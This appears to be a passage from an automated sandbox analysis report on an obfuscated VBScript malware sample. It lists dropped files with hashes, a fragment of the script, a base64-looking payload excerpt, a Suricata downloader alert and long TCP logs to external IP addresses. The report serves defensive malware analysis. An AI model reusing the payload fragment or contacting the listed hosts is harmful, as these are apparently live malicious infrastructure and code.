Size (bytes):	1856
Entropy (8bit):	5.523118531172166
Encrypted:	false
SSDEEP:	48:SdWzSU4y4RQmFoUeCamfm9qr9tK8NfhGAZBUl57f+dAVw352r:SdW2HyIFKL2O9qr2KfhxQfjLVwQ
MD5:	C37DF364E6450C45C22302359326AA4D
SHA1:	1EA399501BA5D2C076BC06030A42B172E8850A5A
SHA-256:	3A5DB9F81DABD128EDBD0E1E1F8A8099CBB467A59F88170202C8D1D6CB1B05C7
SHA-512:	39D6527F48DA6261F7819EF3A594A2DFF83C472FE1583ED041F2802B4021FC20BF55E9803CC66D5D78F59E158FFDE2AB2042DEED38B6FB789E58176F3061D258
Malicious:	false
Preview:	@...e...........{....................................@..........\.................8....E...U..........2.Microsoft.BackgroundIntelligentTransfer.Management..H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.Po

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e5sx0wel.k4q.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i4fqnugb.rky.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lgxm3ru0.slx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qnpapjzp.has.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\BIT22B9.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	394652
Entropy (8bit):	5.94846514796775
Encrypted:	false
SSDEEP:	12288:af3zecHXc3B+Ak8g/3ZEIuNNd/dwe9Amj4:cUEfZ5uPd/qsO
MD5:	F1ACA04F22DF435BC127436FCEEFE86A
SHA1:	23C6E679102893DD177545DEBEA50FC90C706761
SHA-256:	D5881A57638640CD3620D5754C73CEC88ABEEA92735F34138F1508A3F6E10BF9
SHA-512:	EA0901B598E7BD83D2F4FB2D045E383976B99E9539EB929BAD235932CC925F74316603A06DA9B581355BF4CBAA5B3B8E40B4E52A901A8EFE760CC3D991DE8C1F
Malicious:	false
Preview:	6wK42OsCPz+7zD4cAOsCLV1xAZsDXCQE6wLmR+sC26W5LMzRknEBm+sCIKKB8ZPVfRZxAZtxAZuB6b8ZrITrAhDTcQGbcQGb6wL5C7pAnO5jcQGbcQGb6wLIMusCwOQxynEBm3EBm4kUC3EBm+sCuVLR4nEBm3EBm4PBBOsCCX5xAZuB+fSTTAR8zOsCHe7rAjvRi0QkBOsCYX/rAi7oicNxAZtxAZuBw+vRiQFxAZvrAjOzumIiTN7rAm/LcQGbgfJUBu1kcQGb6wL5JYHyNiShunEBm3EBm+sC9blxAZvrAqIRcQGbiwwQ6wKdxnEBm4kME+sCmq7rAqlYQusC1hVxAZuB+gApBAB11HEBm3EBm4lcJAzrAkiUcQGbge0AAwAAcQGbcQGbi1QkCHEBm3EBm4t8JARxAZvrAlz8ietxAZvrAtS1gcOcAAAA6wIDsusCWMVTcQGb6wKiBmpAcQGbcQGbietxAZtxAZvHgwABAAAA4GsE6wJmxOsCpvOBwwABAABxAZvrAi1KU3EBm3EBm4nrcQGbcQGbibsEAQAA6wLPW3EBm4HDBAEAAOsC/gxxAZtT6wJOAXEBm2r/cQGbcQGbg8IFcQGb6wKLxzH26wIa2+sCS/ExyXEBm+sCyKGLGnEBm3EBm0FxAZvrAvahORwKdfNxAZtxAZtGcQGbcQGbgHwK+7h13+sCH4brAhtoi0QK/OsCpB9xAZsp8HEBm+sC1t3/0nEBm3EBm7oAKQQA6wLH4usCfggxwHEBm3EBm4t8JAzrAm6v6wItVoE0B5vDx+5xAZtxAZuDwATrAn3w6wIPWjnQdeTrAjI7cQGbiftxAZvrAj5V/9frAuZV6wLUN6MaTgsaL7zpH8ZGKuDHQ+vOSiJXK7Q12RoqkZsqxkYfjTw93hoykxMgwQCqlsOxFRU5RpqWw9wFuPdGmpbD52u1pUaClsOKexhrRi8C3CTpGipS8XjEMS8cBELJmcPHOT8/vGtRRw5v

C:\Users\user\AppData\Roaming\Notorhiza.Sal (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	394652
Entropy (8bit):	5.94846514796775
Encrypted:	false
SSDEEP:	12288:af3zecHXc3B+Ak8g/3ZEIuNNd/dwe9Amj4:cUEfZ5uPd/qsO
MD5:	F1ACA04F22DF435BC127436FCEEFE86A
SHA1:	23C6E679102893DD177545DEBEA50FC90C706761
SHA-256:	D5881A57638640CD3620D5754C73CEC88ABEEA92735F34138F1508A3F6E10BF9
SHA-512:	EA0901B598E7BD83D2F4FB2D045E383976B99E9539EB929BAD235932CC925F74316603A06DA9B581355BF4CBAA5B3B8E40B4E52A901A8EFE760CC3D991DE8C1F
Malicious:	false
Preview:	6wK42OsCPz+7zD4cAOsCLV1xAZsDXCQE6wLmR+sC26W5LMzRknEBm+sCIKKB8ZPVfRZxAZtxAZuB6b8ZrITrAhDTcQGbcQGb6wL5C7pAnO5jcQGbcQGb6wLIMusCwOQxynEBm3EBm4kUC3EBm+sCuVLR4nEBm3EBm4PBBOsCCX5xAZuB+fSTTAR8zOsCHe7rAjvRi0QkBOsCYX/rAi7oicNxAZtxAZuBw+vRiQFxAZvrAjOzumIiTN7rAm/LcQGbgfJUBu1kcQGb6wL5JYHyNiShunEBm3EBm+sC9blxAZvrAqIRcQGbiwwQ6wKdxnEBm4kME+sCmq7rAqlYQusC1hVxAZuB+gApBAB11HEBm3EBm4lcJAzrAkiUcQGbge0AAwAAcQGbcQGbi1QkCHEBm3EBm4t8JARxAZvrAlz8ietxAZvrAtS1gcOcAAAA6wIDsusCWMVTcQGb6wKiBmpAcQGbcQGbietxAZtxAZvHgwABAAAA4GsE6wJmxOsCpvOBwwABAABxAZvrAi1KU3EBm3EBm4nrcQGbcQGbibsEAQAA6wLPW3EBm4HDBAEAAOsC/gxxAZtT6wJOAXEBm2r/cQGbcQGbg8IFcQGb6wKLxzH26wIa2+sCS/ExyXEBm+sCyKGLGnEBm3EBm0FxAZvrAvahORwKdfNxAZtxAZtGcQGbcQGbgHwK+7h13+sCH4brAhtoi0QK/OsCpB9xAZsp8HEBm+sC1t3/0nEBm3EBm7oAKQQA6wLH4usCfggxwHEBm3EBm4t8JAzrAm6v6wItVoE0B5vDx+5xAZtxAZuDwATrAn3w6wIPWjnQdeTrAjI7cQGbiftxAZvrAj5V/9frAuZV6wLUN6MaTgsaL7zpH8ZGKuDHQ+vOSiJXK7Q12RoqkZsqxkYfjTw93hoykxMgwQCqlsOxFRU5RpqWw9wFuPdGmpbD52u1pUaClsOKexhrRi8C3CTpGipS8XjEMS8cBELJmcPHOT8/vGtRRw5v

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.309246781990604
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	F8HYX5HOgA.vbs
File size:	14'707 bytes
MD5:	85d4ef0ba65b5d677d8a3b3772542ea7
SHA1:	b73d4b3d582213d2d350a86603f6a3b1d60cce03
SHA256:	ace5b87a91d37f57a3288800b585268dbc4c1efde0417521f98b1fd4b86beff1
SHA512:	f7ea55735ea32ce334e38c4b1055673d64658765d968369d38cf603b7b4b2a0331a15e471ac0ea804ca1a5f9da3fcf7629044bb16d3d36a999ae24937ab4b8ad
SSDEEP:	192:CRoMAEn6PAWpTsoSEQAzdZE9Jx6Q6/4WypNZHwrlQsCaqWL0JPvJvCX1fAByWSkU:CvdaSaAsOHw5Qs4/JPhEILaEwaC
TLSH:	4E62E875974A0D06C95A3B3ACC3D880637F18919E36370873E62EA9A3D1761B87F4DE4
File Content Preview:	Function Lixene(Oprustningsvanviddet,kirkefestenunconfoun,forestishcathopsygep)..If Oprustningsvanviddet = "Traktatbruddets" Then ....Middleburyfastholdelse = Trim("Nurl") ....End If..If kirkefestenunconfoun = cstr(893638) Then ....Set Bjlenaalensolsikk =

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T12:48:32.209044+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49771	103.120.177.150	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 12:47:54.806680918 CET	49707	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:54.806742907 CET	443	49707	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:54.806818962 CET	49707	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:54.808779955 CET	49707	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:54.808798075 CET	443	49707	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:56.075247049 CET	443	49707	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:56.075335026 CET	49707	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:56.081604004 CET	49707	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:56.081634045 CET	443	49707	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:56.082098961 CET	443	49707	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:56.127927065 CET	49707	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:56.135087013 CET	49707	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:56.175374031 CET	443	49707	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:56.516640902 CET	443	49707	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:56.516801119 CET	443	49707	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:56.516882896 CET	49707	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:56.517057896 CET	49707	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:56.517081976 CET	443	49707	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:56.517093897 CET	49707	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:56.517098904 CET	443	49707	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:56.553600073 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:56.553654909 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:56.553802013 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:56.554008961 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:56.554034948 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:57.804092884 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:57.804986954 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:57.805012941 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:57.805759907 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:57.805772066 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.253916979 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.300020933 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.375164032 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.375179052 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.375221014 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.375246048 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.375403881 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.375403881 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.375425100 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.375474930 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.491110086 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.491138935 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.491183043 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.491198063 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.491213083 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.491231918 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.532322884 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.532351971 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.532433033 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.532449961 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.532491922 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.656681061 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.656708002 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.656903982 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.656919003 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.656965971 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.683844090 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.683876038 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.683974981 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.683990002 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.684130907 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.710474014 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.710499048 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.710650921 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.710664034 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.710772038 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.736979008 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.737001896 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.737137079 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.737148046 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.737188101 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.843336105 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.843364954 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.843628883 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.843646049 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.843704939 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.862623930 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.862654924 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.862771988 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.862787008 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.862828016 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.880096912 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.880120993 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.880243063 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.880255938 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.880430937 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.897939920 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.897964954 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.898144960 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.898159981 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.898199081 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.914434910 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.914453983 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.914531946 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.914539099 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.914572954 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.929847956 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.929862976 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.930094957 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:58.930103064 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:58.930249929 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:59.028651953 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.028676033 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.028743982 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:59.028759003 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.028798103 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:59.040205002 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.040224075 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.040277958 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:59.040286064 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.040314913 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:59.040333986 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:59.052661896 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.052680969 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.052736044 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:59.052743912 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.052781105 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:59.064240932 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.064265013 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.064312935 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:59.064321041 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.064352989 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:59.064376116 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:59.075684071 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.075701952 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.075767040 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:59.075773954 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.075808048 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:59.086395979 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.086416006 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.086467981 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:59.086474895 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.086508036 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:59.096441984 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.096461058 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.096532106 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:59.096544027 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.096579075 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:59.107893944 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.107911110 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.108114004 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:59.108120918 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.108167887 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:59.220341921 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.220367908 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.220499039 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:59.220510006 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.220551014 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:59.228773117 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.228789091 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.228889942 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:59.228897095 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.228939056 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:59.236700058 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.236716032 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.236877918 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.236903906 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:59.236910105 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.236954927 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:59.237143040 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:59.237148046 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.237164974 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:47:59.237363100 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.237396002 CET	443	49708	107.161.23.150	192.168.2.5
Dec 19, 2024 12:47:59.237435102 CET	49708	443	192.168.2.5	107.161.23.150
Dec 19, 2024 12:48:29.534090996 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:29.534137964 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:29.534434080 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:29.551481962 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:29.551506996 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:31.420170069 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:31.420406103 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:31.477849960 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:31.477926016 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:31.478276014 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:31.478344917 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:31.481208086 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:31.523363113 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:32.209058046 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:32.209083080 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:32.209172964 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:32.209189892 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:32.209605932 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:32.432929039 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:32.432945013 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:32.433108091 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:32.454190016 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:32.454327106 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:32.486354113 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:32.486502886 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:32.509579897 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:32.509808064 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:32.669749022 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:32.669998884 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:32.689590931 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:32.689773083 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:32.711858988 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:32.711941957 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:32.729074001 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:32.729170084 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:32.746301889 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:32.746387005 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:32.764956951 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:32.765041113 CET	49771	443	192.168.2.5	103.120.177.150
